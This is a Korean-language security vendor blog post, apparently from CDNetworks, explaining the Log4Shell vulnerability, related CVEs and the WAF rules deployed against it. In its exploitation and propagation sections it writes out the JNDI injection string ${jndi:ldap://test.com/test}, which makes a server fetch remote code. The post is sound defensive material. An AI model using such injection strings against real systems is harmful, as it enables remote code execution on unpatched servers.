2021년 12월 9일에 인기 있는 Apache 패키지에 영향을 미치는 치명적인 RCE(원격 코드 실행) 취약점이 발견되었습니다. Apache Log4J로 알려진 이 제로데이 소프트웨어 취약점은 전 세계 수백만 개의 애플리케이션과 장치에 대한 잠재적인 위협입니다. 전 세계적인 영향으로 NIST(National Institute of Standards and Technology)는 2021년 12월 10일 국가 취약성 데이터베이스의 Log4J 취약성을 해결하는 중요한 CVE-2021-44228을 게시했습니다. 취약한 Java 프로세스에 대한 모든 명령은 가장 높은 CVSS(Common Vulnerability Scoring System) 심각도 수준을 받았습니다.
Log4j란 무엇입니까?
Apache Log4j는 거의 모든 Java 서비스에서 사용되는 Java 기반 로깅 도구 중 하나입니다. Apache Software Foundation에서 제공하는 오픈 소스 소프트웨어인 Apache Log4j는 사용자 작업 및 애플리케이션 동작을 기록하는 데 사용됩니다. 예를 들어 서버를 방문하면 보기 및 오류 확인을 위해 Log4J 도구를 통해 서버에 동작이 기록됩니다.
Log4j 취약점의 영향이 왜 그렇게 심각한가요?
Log4j는 어디에나 있습니다.
Java 기술 스택은 Windows, Linux 및 Mac 운영 체제에서 널리 사용됩니다. IoT 가정 및 상업용 장치에서; 웹 애플리케이션, 백엔드 개발, 빅 데이터 등에서. 개발 도구로서 Java는 Kafka, Elasticsearch, Flink 등과 같은 미들웨어 솔루션에서 찾을 수 있습니다. 또한 수천 개의 글로벌 기업이 Java 서비스를 위해 Log4j 도구를 배포했습니다. 그리고 Log4j는 일반적으로 이름이 바뀌고 재패키징되고 다운로드되기 때문에 취약점은 어디에나 존재할 수 있습니다.
이 취약점은 악용하기 매우 쉽습니다.
Log4J 취약점은 ${jndi:ldap://test.com/test}와 같은 악성 코드를 액세스 로그에 삽입하여 성공적으로 악용될 수 있습니다.
취약점은 어떻게 작동합니까?
2.15.0 이전 버전의 Apache Log4j 로깅 프레임워크의 취약성으로 인해 로그 메시지 또는 로그 메시지 매개 변수를 제어할 수 있는 인증되지 않은 원격 공격자가 로깅을 수행하는 시스템에서 악성 코드를 실행할 수 있습니다. Log4j2 라이브러리에서 메시지 조회 대체가 활성화된 경우 공격자는 로그 메시지의 특정 문자열을 LDAP 서버에서 보낸 임의의 코드 문자열로 대체할 수 있습니다. 대체 문자열이 포함된 메시지가 기록되면 임의 코드가 실행되어 잠재적으로 공격자가 기록을 수행하는 시스템을 제어할 수 있습니다.
Apache Log4j의 기본 구성은 JNDI(Java Naming and Directory Interface) 조회를 지원합니다. 이러한 조회는 안전하지 않은 타사 LDAP 서버에서 개체를 빌드하기 위해 클래스 파일을 다운로드할 때 악용될 수 있습니다.
다음 단계는 Log4J 취약점이 전파되는 방식을 설명합니다.
- 해커는 Log4J에 의해 기록되는 ${jndi:ldap://test.com/test}와 같은 헤더에 JNDI 조회를 삽입합니다.
- Log4J는 로그에 있는 악성 코드를 처리한 후 악성 LDAP 서버(//test.com/test)에 쿼리합니다.
- 악성 LDAP 서버는 악성 Java 클래스 파일을 원본 서버로 전송하여 응답합니다.
취약점이 계속 변이되고 있습니다.
취약점이 발견된 지 보름이 지났습니다. 그 이후로 세 가지 관련 CVE가 식별되었으며 취약성이 계속 변형될 것으로 예상됩니다.
CVE-2021-4104
Apache Log4j JMSAppender는 공격자가 Log4j 구성에 대한 쓰기 권한이 있는 경우 신뢰할 수 없는 데이터의 역직렬화에 취약합니다.
CVE-2021-44228
Apache Log4j JNDI 기능을 사용하면 시스템이 공격자가 제어하는 LDAP 서버 또는 기타 JNDI 관련 엔드포인트와 허가 없이 통신할 수 있습니다.
CVE-2021-45046
Apache Log4j 스레드 컨텍스트 패턴 및 컨텍스트 조회 패턴을 사용하면 악의적인 JNDI 입력 데이터가 서비스 거부(DoS) 공격을 호출할 수 있습니다.
CDNetworks는 계속해서 Log4j 취약점에 집중하고 있습니다.
Log4J 취약점이 보고되자마자 CDNetworks의 보안 팀은 인프라와 제품을 평가하고 취약점의 영향을 완화하기 위한 적절한 업데이트를 수행하기 위한 조치를 취했습니다.
그 결과 위에 표시된 CVE를 해결하고 Log4J 악용 시도를 완화하기 위해 2021년 12월 10일부터 다음과 같은 새로운 웹 애플리케이션 방화벽(WAF) 규칙을 릴리스하고 배포했습니다. 기본적으로 모든 규칙은 차단 모드로 설정됩니다.
규칙 ID | 설명 | 기본 작업 |
---|---|---|
9337 | Log4J 본문 | 차단하다 |
9930 | 아파치-Log4j RCE | 차단하다 |
9959 | log4j의 요청 우회 동작 | 차단하다 |
9960 | 아파치-Log4j RCE | 차단하다 |
9961 | 아파치-Log4j RCE | 차단하다 |
9962 | Apache-Log4j RCE 및 버전 정보 | 차단하다 |
Log4j 악용 동향
2021년 12월 10일부터 12월 26일까지 씨디네트웍스는 2004902건의 악성 Log4J 공격 요청을 성공적으로 차단했습니다.
CDNetworks 보안 팀은 고객이 이러한 취약성으로부터 보호받을 수 있도록 상황을 계속해서 적극적으로 모니터링하고 있습니다. 우리는 개발 보증에 따라 새로운 발견이나 정보로 이 블로그를 업데이트할 것입니다.